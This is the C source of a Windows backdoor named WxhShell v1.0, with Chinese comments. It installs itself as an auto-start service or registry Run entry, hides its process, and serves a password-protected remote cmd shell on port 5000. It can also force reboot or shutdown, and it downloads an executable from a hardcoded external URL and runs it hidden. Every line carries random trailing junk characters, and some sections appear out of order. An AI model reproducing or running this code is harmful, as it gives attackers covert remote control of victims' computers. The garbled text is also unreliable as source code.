    if(Boot(SHUTDOWN)) P]^OSPRg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Q~>)$Cf^  
    else { sk9Ejaf6>  
    closesocket(wsh); T8g\_m  
    ExitThread(0); |LC"1 k  
    } SN{A@dyt  
    break; oS%(~])\  
    } ba G_7>Q9H  
  // 获取shell .up[wt gN  
  case 's': { U'F}k0h?\'  
    CmdShell(wsh); dO2?&f  
    closesocket(wsh);  .GJbrz  
    ExitThread(0); ly34aD/p~,  
    break; q 6UZ`9&z  
  } lbt8S.fx  
  // 退出 D1-w>Y#  
  case 'x': { ]s5e[iS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R2~y<^.V`Y  
    CloseIt(wsh); 5>%^"f  
    break; U`3?bhzua  
    } 6|q"lS*$S  
  // 离开 xa'U_]m  
  case 'q': {  N{g7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,m`&J?  
    closesocket(wsh); \i,H1a  
    WSACleanup(); GFPrK9T  
    exit(1); ?/MkH0[G=  
    break; /q>ExXsEC  
        } NvIg,@}  
  } ,8Q0AkG  
  } B=]L%~xL$  
/2T  W?a  
  // 提示信息 \;'#8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d!T,fz/-.  
} 4$vUD1('  
  } a"xRc  
3,G|oR{D  
  return; yw+]S  
} 7Z:HwZ  
~b#<HG\,,  
// shell模块句柄 |Tmug X7  
int CmdShell(SOCKET sock) J&h59dm-  
{ Xlug{ Uh  
STARTUPINFO si; PtUS7[]  
ZeroMemory(&si,sizeof(si)); a'Cny((  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t1iz5%`p}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N)H+N g[  
PROCESS_INFORMATION ProcessInfo; DI;LhS*z  
char cmdline[]="cmd"; g&p(XuN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $~:ZzZO  
  return 0; cu5}(  
} sx+k V A  
'=+N )O  
// 自身启动模式 :,p3&2 I  
int StartFromService(void) 3v3cK1K@oE  
{ 11QZ- ^  
typedef struct j^b &Q  
{ L T`T~|pz  
  DWORD ExitStatus; 9HN&M*}  
  DWORD PebBaseAddress; Y'P^]Q=}_#  
  DWORD AffinityMask; k~<Ozx^AyY  
  DWORD BasePriority; e^\(bp+83  
  ULONG UniqueProcessId; ]6v7iuvI  
  ULONG InheritedFromUniqueProcessId; x v$fw>  
}   PROCESS_BASIC_INFORMATION; LC=M{\  
o92BGqA>&  
PROCNTQSIP NtQueryInformationProcess; X(d:!-_m *  
/o$6"~t  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "dndhoMq  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !X"nN9k  
+ah4 K(+3  
  HANDLE             hProcess; 7W},5c  
  PROCESS_BASIC_INFORMATION pbi; 7`L]aRS[  
<<qzZ+u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [8tpU&J  
  if(NULL == hInst ) return 0; >(n /  
ho^c#>81  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [m< jM[w{  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [W[awGf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aW|=|K  
EqD@o  
  if (!NtQueryInformationProcess) return 0; "S{GjOlEDF  
8TH;6-RT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); nw*a?$S3  
  if(!hProcess) return 0; {s*1QBM$\Z  
~a7@O^q 4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \hlS?uD\  
T^d<vH  
  CloseHandle(hProcess);  K\ pZ  
A9Ea}v9:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |iSwG=&  
if(hProcess==NULL) return 0; 2XBHo (  
+  rN#  
HMODULE hMod; \C;Yn6PK0  
char procName[255]; L*Ffic  
unsigned long cbNeeded; >W/mRv&  
j1Sjw6}GCH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *pS3xit~  
%y>*9$<pXe  
  CloseHandle(hProcess); 'dQGb-<_<  
$i8oLSRV  
if(strstr(procName,"services")) return 1; // 以服务启动 It3@ Cd>  
d\A7}_r*x  
  return 0; // 注册表启动 ~Odclrs  
} P%[ { 'u  
VWXyN  
// 主模块 gQhYM7NP{5  
int StartWxhshell(LPSTR lpCmdLine) c2GTN"  
{ k?3mFWc  
  SOCKET wsl; ^N ;TCn  
BOOL val=TRUE; kp?_ir  
  int port=0; o"N\l{#s  
  struct sockaddr_in door; Ek06=2i  
+m}D.u*cp  
  if(wscfg.ws_autoins) Install(); I)3LJK  
{RsdI=%  
port=atoi(lpCmdLine); )99^58my  
5K|`RzZ`B$  
if(port<=0) port=wscfg.ws_port; 5D^2 +`$/  
d"ZsOq10D  
  WSADATA data; ,HE{&p2y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DeN2P  
~:C`e4  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7we='L&R  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /8dRql-Ne  
  door.sin_family = AF_INET; 2I=4l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )h(=X&(d  
  door.sin_port = htons(port); 8-L -W[  
/^si(BuC^*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0yUn~'+(Sp  
closesocket(wsl); iy8Ln,4z(  
return 1; %&'[? LXD  
} aJs! bx>K  
A i#~Eu*  
  if(listen(wsl,2) == INVALID_SOCKET) { FhEfW7]0,  
closesocket(wsl); [W'2z,S`WD  
return 1; 'OhGSs|  
} b9Eb"  
  Wxhshell(wsl); =.`e4}u \X  
  WSACleanup(); W$D:mw7  
ZS&+<kGD  
return 0; .q 4FGPWz  
=':SOO7  
} oC!z+<  
wUS w 9xg  
// 以NT服务方式启动 }&l%>P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dZd]p8  
{ /5>A 2y  
DWORD   status = 0; \3 rgwbF  
  DWORD   specificError = 0xfffffff; T%TO?[cN  
oSR;Im<2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; PMj!T \B|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $U^ Ms!'L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V1,4M_Z  
  serviceStatus.dwWin32ExitCode     = 0; xiC.M6/  
  serviceStatus.dwServiceSpecificExitCode = 0; u3 4.   
  serviceStatus.dwCheckPoint       = 0; K[-G2  
  serviceStatus.dwWaitHint       = 0; )4GCL(&  
QcdAg%"yy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .g_Kab3?L  
  if (hServiceStatusHandle==0) return; >ISBK[=H  
@# p{,L  
status = GetLastError(); ~f8:sDJ  
  if (status!=NO_ERROR) 2) Q/cH\g  
{ Qyj:!-o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0bQ"s*K  
    serviceStatus.dwCheckPoint       = 0; @7?L+.r$9  
    serviceStatus.dwWaitHint       = 0; nG| NRp  
    serviceStatus.dwWin32ExitCode     = status; -0*z"a9<p8  
    serviceStatus.dwServiceSpecificExitCode = specificError; DL '{ rK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7*Gg#XQ>(  
    return; hus9Zv4  
  } Hq <!&  
l8DZ2cw]  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R36A_  
  serviceStatus.dwCheckPoint       = 0; :u?L y[x  
  serviceStatus.dwWaitHint       = 0; gF|u%_y-qt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); baR*4{]  
} ?*f2P T?`  
W_]onq 6  
// 处理NT服务事件,比如:启动、停止 [:{HX U7y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @PKY>58)  
{ Y)C!N$=@Q  
switch(fdwControl) l.SoiFDd  
{ Kl :x?"g)  
case SERVICE_CONTROL_STOP: =%crSuP  
  serviceStatus.dwWin32ExitCode = 0; #t&L}=G{%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @w;&:J9m  
  serviceStatus.dwCheckPoint   = 0; P[gYENQ   
  serviceStatus.dwWaitHint     = 0; kK]L(ZU +  
  { M+M\3U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0 SDyE  
  } ]RI+:f  
  return; T^nOv2@,  
case SERVICE_CONTROL_PAUSE: S),acc(d  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H')8p;~{}  
  break; zW; sr.  
case SERVICE_CONTROL_CONTINUE: 2Ni {fC?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gp]T.ol  
  break; &>Nw>V  
case SERVICE_CONTROL_INTERROGATE: kfs[*ku  
  break; Uj)`(}r  
}; zhC5%R &n/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SGLU7*sfd  
} =D^R,Q  
J+Zp<Wu-  
// 标准应用程序主函数 z7O$o/E-*  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s>e)\9c  
{ -pm%F8{T]  
>+ku:<Hw%.  
// 获取操作系统版本 ys} I~MK-  
OsIsNt=GetOsVer(); EpH\;25u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;v%f +  
Jw -3G3h  
  // 从命令行安装 Ibu  5  
  if(strpbrk(lpCmdLine,"iI")) Install(); Sk%*Zo{|  
6F3FcUL  
  // 下载执行文件 p']oy;t  
if(wscfg.ws_downexe) { qbD[<T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IFW"S fdZk  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0{.[#!CSk  
} t|}}#Z!I[f  
pn aSOyR  
if(!OsIsNt) { /9@ VnM  
// 如果时win9x,隐藏进程并且设置为注册表启动 iiTt{ab\Y  
HideProc(); / #D R|  
StartWxhshell(lpCmdLine); sk~inIj-  
} 63pd W/\j  
else p2(Z(V7*  
  if(StartFromService()) 7NQEnAl  
  // 以服务方式启动 a/lTQj]A  
  StartServiceCtrlDispatcher(DispatchTable); %bgUU|CdA  
else Kr@6m80E5  
  // 普通方式启动 Pbl#ieZM  
  StartWxhshell(lpCmdLine); )&.Zxo;q=  
;a~ e  
return 0; }6 Mo C0  
} wp>L}!  
\~I>@SG2W+  
G57c 8}\4  
h~u|v[@{J  
=========================================== vW`[CEm^X  
Fz@9 @  
$3^Cp_p6  
MW|:'D`  
DAx 1  
CjUYwAy$k  
" Yp;?Zq9  
J42/S [Rt  
#include <stdio.h> Apc!!*7  
#include <string.h> trMwFpfu  
#include <windows.h> d2X?^  
#include <winsock2.h> tk!5"`9N  
#include <winsvc.h> J)= "Im)  
#include <urlmon.h> F4 =V* /7  
>|g(/@IO  
#pragma comment (lib, "Ws2_32.lib") ?dAy_| zD  
#pragma comment (lib, "urlmon.lib") 7&vDx=W  
:r}C&3  
#define MAX_USER   100 // 最大客户端连接数 )H[Pz.'ah0  
#define BUF_SOCK   200 // sock buffer ?CE&F<?#@  
#define KEY_BUFF   255 // 输入 buffer *apkw5B}C  
CK(`]-q>,  
#define REBOOT     0   // 重启 Jqz K5)  
#define SHUTDOWN   1   // 关机 jUd)|v+t  
<^Jdl.G  
#define DEF_PORT   5000 // 监听端口 M^jEp  
-qdt$jIM  
#define REG_LEN     16   // 注册表键长度 L4or*C^3  
#define SVC_LEN     80   // NT服务名长度 B PG&R  
WM9z~z'2a  
// 从dll定义API EM,=R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); y=SVS3D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7(C:ty9  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #X qnH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HlraOp+  
yVgHu#?PM  
// wxhshell配置信息 p'\zL:3  
struct WSCFG { |Ju d*z  
  int ws_port;         // 监听端口 lYhC2f m_  
  char ws_passstr[REG_LEN]; // 口令 ZhY03>X  
  int ws_autoins;       // 安装标记, 1=yes 0=no > - U+o.o  
  char ws_regname[REG_LEN]; // 注册表键名 {fS~G2@1  
  char ws_svcname[REG_LEN]; // 服务名 Ar'k6NX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0?O$->t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 W(Rp@=!C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C{OkbE"Vym  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t {H{xd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" du_~P"[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -.l.@  
IO<Ds#(  
}; Ix+eP|8F  
0HN%3AG]  
// default Wxhshell configuration %F13*hOu  
struct WSCFG wscfg={DEF_PORT, 8T88  
    "xuhuanlingzhe", -lm)xpp1  
    1, BRXDE7vw  
    "Wxhshell", d:=Z<Y?d/  
    "Wxhshell", 1H \  
            "WxhShell Service", Tb\<e3Te_  
    "Wrsky Windows CmdShell Service", 3? F~ H  
    "Please Input Your Password: ", YFP<^y=  
  1, }!V-FAL  
  "http://www.wrsky.com/wxhshell.exe", UHR%0ae  
  "Wxhshell.exe"  Lr0:y o  
    }; k5)a|  
G%viWWTY  
// 消息定义模块 ( @V_47o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |!{ Y:f;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `N8t2yF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }VeE4-p B  
char *msg_ws_ext="\n\rExit."; c&C*'c-r  
char *msg_ws_end="\n\rQuit."; 2d&]V]:R*  
char *msg_ws_boot="\n\rReboot..."; ox5WboL  
char *msg_ws_poff="\n\rShutdown..."; Z?u}?-b1\H  
char *msg_ws_down="\n\rSave to "; 3%)@c P:?  
DhXV=Qw  
char *msg_ws_err="\n\rErr!"; UjS+Ddp  
char *msg_ws_ok="\n\rOK!"; /[E2+g  
ZmmX_!M  
char ExeFile[MAX_PATH]; zxkO&DGRbN  
int nUser = 0; ~I;|ipK4m  
HANDLE handles[MAX_USER]; |G_,1$  
int OsIsNt; l2ie\4dK@  
2"_5Yyb  
SERVICE_STATUS       serviceStatus; *Sps^Wl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h s_x @6  
a[p$e?gka  
// 函数声明 2S-f5&o  
int Install(void); #_WkV  
int Uninstall(void); N5zx#g  
int DownloadFile(char *sURL, SOCKET wsh); -F_c Bu81V  
int Boot(int flag); `\GR Y @cg  
void HideProc(void); \,'4eV  
int GetOsVer(void); qiH)J- ~GZ  
int Wxhshell(SOCKET wsl); J&&)%&h'I  
void TalkWithClient(void *cs); !*S,S{T8  
int CmdShell(SOCKET sock); S0M i  
int StartFromService(void); 0#4A0[vV  
int StartWxhshell(LPSTR lpCmdLine);  \>||  
2_}oOt?qiM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LXaq  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >>|47ps3  
kW0ctGFYlf  
// 数据结构和表定义 YQb503W"d~  
SERVICE_TABLE_ENTRY DispatchTable[] = r dCs  
{ >Y(JC#M;  
{wscfg.ws_svcname, NTServiceMain}, 6|IJwP^Q_  
{NULL, NULL} EP^qj j@M  
}; ,&y_^-|d  
#8zC/u\`=  
// 自我安装 bM.$D-?dF*  
int Install(void) e?FQ6?  
{ oW^>J-  
  char svExeFile[MAX_PATH]; 5zh6l+S[  
  HKEY key; z[6avW"q  
  strcpy(svExeFile,ExeFile); ,4Q8r:_ u  
2|ej~}Y  
// 如果是win9x系统,修改注册表设为自启动 q"EW*k+ )  
if(!OsIsNt) { e N v\ZR1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O p1TsRm5L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uz~B`  
  RegCloseKey(key); Kwi+}B!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UA4c4~$S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @ qi|}($  
  RegCloseKey(key); )O5@R  
  return 0; :{4C2qK>  
    } \;KSx3o  
  } [ r  
} g/}d> 6  
else { ^VW]Qr!  
~f"3Wa*\B  
// 如果是NT以上系统,安装为系统服务 kR3wbA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %a|Qw(4\  
if (schSCManager!=0) oUO3,2bn  
{ J% n#uUs  
  SC_HANDLE schService = CreateService l fF RqZ  
  ( @,7r<6E  
  schSCManager,  P_'{|M<?  
  wscfg.ws_svcname, -v-kFzu  
  wscfg.ws_svcdisp, ![$`Ivro`  
  SERVICE_ALL_ACCESS, [+QyKyhTO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `wZ  
  SERVICE_AUTO_START, y5F"JjQAa  
  SERVICE_ERROR_NORMAL, Hpa6; eT  
  svExeFile, w,up`W7,  
  NULL, K\xnQeS<W  
  NULL, QT zN  
  NULL, m.!LL]]  
  NULL, <VSB!:ew  
  NULL TGU7o:2  
  ); J9OL>!J  
  if (schService!=0) QAt]sat  
  { d3 i(UN]  
  CloseServiceHandle(schService); :y`LF <  
  CloseServiceHandle(schSCManager); \F-n}Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4f~sRubK  
  strcat(svExeFile,wscfg.ws_svcname); DaJ,( DJY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wEwR W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $${3I4  
  RegCloseKey(key); dQ~GE}[  
  return 0; 'wtb"0 }  
    } {&XTa`C  
  } tzfyS#E  
  CloseServiceHandle(schSCManager); B9[vv;lzu  
} ~cyKPg6  
}  ^#C+l  
U;TS7A3  
return 1; |vm-(HY!  
} jSM`bE+"  
OI*ltba?  
// 自我卸载 Ly3!0P.<  
int Uninstall(void) d}tmZ*q  
{ 4n@>gW  
  HKEY key; uD?RL~M  
\At~94  
if(!OsIsNt) { .ahY 1CO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >N2kWSa  
  RegDeleteValue(key,wscfg.ws_regname); ^;h\#S[%  
  RegCloseKey(key); tu"-]^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1*G&ZI  
  RegDeleteValue(key,wscfg.ws_regname); f0Q! lMv  
  RegCloseKey(key); AZE%fOG<i  
  return 0; )Ute  
  } kr|r-N`  
} (T$cw(!  
} )B +o F7  
else { $GU  s\  
("PZ!z1m1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); JP0a Nu  
if (schSCManager!=0) -^yc<%U  
{ fZr{x$]N0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a%BC{XX  
  if (schService!=0) /3k[3  
  { m1j Eky(  
  if(DeleteService(schService)!=0) { 7Hv 6>z#m  
  CloseServiceHandle(schService); 2bLc57j{`9  
  CloseServiceHandle(schSCManager); `7y3C\zyQ  
  return 0; ;di .U,  
  } Ws1|idAT  
  CloseServiceHandle(schService); EPLHw  
  } {fDRVnI?  
  CloseServiceHandle(schSCManager); \p( 0H6  
} BeQ'\#q,  
} Ix,b-C~  
N0}[&rE 8  
return 1; ;<[!;8  
} /DH`7E  
#o[n.  
// 从指定url下载文件 xu"-Uj1  
int DownloadFile(char *sURL, SOCKET wsh) ,1B4FAR&  
{ ==?%]ZE8  
  HRESULT hr; FN/l/OSb  
char seps[]= "/"; k$m'ebrS.~  
char *token; ME]7e^  
char *file; ;`c:Law4  
char myURL[MAX_PATH]; qi7*Jjk>90  
char myFILE[MAX_PATH]; j DEym&-  
ZL0k  
strcpy(myURL,sURL); ^_3 $f  
  token=strtok(myURL,seps); 0YL*)=pD,  
  while(token!=NULL) lul  
  { |oSt%l Q1  
    file=token; A{B$$7%  
  token=strtok(NULL,seps); e 2N F.  
  } /6[vF)&  
]AM*9!  
GetCurrentDirectory(MAX_PATH,myFILE); ws,?ImA  
strcat(myFILE, "\\"); i( +Uvtgs  
strcat(myFILE, file); 5uSg]2:  
  send(wsh,myFILE,strlen(myFILE),0); Gs|a$^V|o  
send(wsh,"...",3,0); % q!i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]e5aHpgR=  
  if(hr==S_OK) ~H?v L c;>  
return 0; #Pz'-lo  
else CE  
return 1; muF&t'k  
ow 6\j:$?  
}  -L2 +4  
@ YWuWF  
// 系统电源模块 2Hx*kh2  
int Boot(int flag) /8`9SS  
{ @>~S$nw/  
  HANDLE hToken; RT'5i$q[  
  TOKEN_PRIVILEGES tkp; Zn. S65J*u  
E=S_1  
  if(OsIsNt) { zK1\InP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {~}:oV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pp*MHM)x|q  
    tkp.PrivilegeCount = 1; xJ:Am>%\^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A>F&b1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X"g,QqDD  
if(flag==REBOOT) { :4X,5X7tW=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wRwx((eb  
  return 0; veh=^K%G |  
} ]5`A8-Q@  
else { uQW[2f  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i>G:*?a  
  return 0; rk ,64(  
} V_v+i c^  
  } wod{C!  
  else { >.C$2bW<L  
if(flag==REBOOT) { r z@%rOWV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v [x 5@$  
  return 0; #3?"#),q  
} cw~GH  
else { l,A\]QDvl  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e*( _Cvxp  
  return 0; =8p[ (<F=  
} "Ya ;&F.'  
} rc%*g3ryLG  
CnY dj~  
return 1; 4U)%JK.ta  
} $1)NYsSH/H  
T?u*ey~Tv  
// win9x进程隐藏模块 /Z#AHfKF  
void HideProc(void) S*3$1BTl  
{ >B;S;_5=  
q4"^G:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R~TG5^(  
  if ( hKernel != NULL ) ko!aX;K  
  { ^H<VH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A"+t[0$.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 436SIh  
    FreeLibrary(hKernel); #vBSg  
  } R5uz<  
>i61+uzEd+  
return; {EU]\Mp0j  
} ;yZY2)L   
Pff-eT+~m  
// 获取操作系统版本 Ja\B%f  
int GetOsVer(void) .fhfO @  
{ +`m0i1uI3  
  OSVERSIONINFO winfo; aM8z_j!!u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /~<Przw  
  GetVersionEx(&winfo); MD>E0p)  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) waV4~BdL  
  return 1; K~5(j{Kb8  
  else f'S0 "  
  return 0; #]}G{ P  
} L`^ v"W()  
o+<hI  
// 客户端句柄模块 4=* ml}RP  
int Wxhshell(SOCKET wsl) :NH '>'  
{ ^'sOWIzeiY  
  SOCKET wsh; _1$+S0G;  
  struct sockaddr_in client; 'xM\txZ;  
  DWORD myID; yAel4b/}  
1&kf2\S  
  while(nUser<MAX_USER) tE=$#  
{ !:g\Fe]  
  int nSize=sizeof(client); 1tpt433  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .N#grk)C  
  if(wsh==INVALID_SOCKET) return 1; zq#gf  
'+S!>Lqb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O,I7M?dRf  
if(handles[nUser]==0) hM(Hq4ed,  
  closesocket(wsh); ,(#n8|q4  
else )7rMevF(xJ  
  nUser++; VN@ZYSs  
  } 5hiuBf<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zjx'nK{eI  
QO,ge<N+N  
  return 0; .7#04_aP  
} UZc{ Av  
0j 'k%R[l  
// 关闭 socket N_.`5I;e  
void CloseIt(SOCKET wsh) (W`=`]!  
{ |qibO \_  
closesocket(wsh); V3\} ]5  
nUser--; FC8= ru  
ExitThread(0); N sSl|m  
} ?[O Sy.6  
l {\@+m  
// 客户端请求句柄 n 8e}8.Bu  
void TalkWithClient(void *cs) 3Q+THg3~?  
{ qSL~A-  
KH1/B_.\V  
  SOCKET wsh=(SOCKET)cs; X@B,w_b  
  char pwd[SVC_LEN]; @j4~`~8  
  char cmd[KEY_BUFF]; eJ$ {`&J  
char chr[1]; B;L^!sLP  
int i,j; 2) A$bx  
*icxK  
  while (nUser < MAX_USER) { }KrZ6cG9#  
kI$X~s$r  
if(wscfg.ws_passstr) { zB{be_Tw  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JvLa@E)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :cTwp K  
  //ZeroMemory(pwd,KEY_BUFF); Dr"F5Wbg  
      i=0; gB#$"mq,  
  while(i<SVC_LEN) { y `w5u.'  
;0++):30V  
  // 设置超时 ;,LlOR  
  fd_set FdRead; `\S~;O  
  struct timeval TimeOut; uwb>q"M  
  FD_ZERO(&FdRead); ?Wp{tB9N0  
  FD_SET(wsh,&FdRead); noNL.%I  
  TimeOut.tv_sec=8; ~7=w,+  
  TimeOut.tv_usec=0; Wv)2dD2I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); We#O' m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KY;E.D`  
W?auY_+P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -zL xT  
  pwd=chr[0]; (z<& PP  
  if(chr[0]==0xd || chr[0]==0xa) { #bLeK$  
  pwd=0; )kNyl@m  
  break; ;tLu  
  } {mV,bg,}~  
  i++; c7N`W}BZ  
    } T\Q)"GB  
8/E?3a_g-  
  // 如果是非法用户,关闭 socket Fop "m/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); uBC*7Mkm  
} %S4pkFR  
-T-h~5   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CpICb9w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )<jT;cT!&  
<El6?ml@  
while(1) { +hS}msu'  
:ITz\m  
  ZeroMemory(cmd,KEY_BUFF); <)(STo  
xlaBOKa%  
      // 自动支持客户端 telnet标准   wXsA-H/`  
  j=0; QFf lx  
  while(j<KEY_BUFF) { dPRGL hWF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e[8p/hId  
  cmd[j]=chr[0]; "^ cn9AG{  
  if(chr[0]==0xa || chr[0]==0xd) { j^~WAWbFh  
  cmd[j]=0; %@jv\J  
  break; Iih~rWJ  
  } ~8EG0F;t  
  j++; C '}8  
    } l2!4}zI2  
m/0t; cx  
  // 下载文件 `795 K8  
  if(strstr(cmd,"http://")) { QJ s /0iw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P A9 ]L  
  if(DownloadFile(cmd,wsh)) U(=cGA.$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -pR1xsG  
  else RyxIJJui  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]v.Qu<  
  } 8ESBui3;  
  else { -K)P|'-?m  
 g=:C/>g  
    switch(cmd[0]) { `7|v  
  N|h}'p  
  // 帮助 =`rESb[  
  case '?': { d&0^AvM@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^@`dsll  
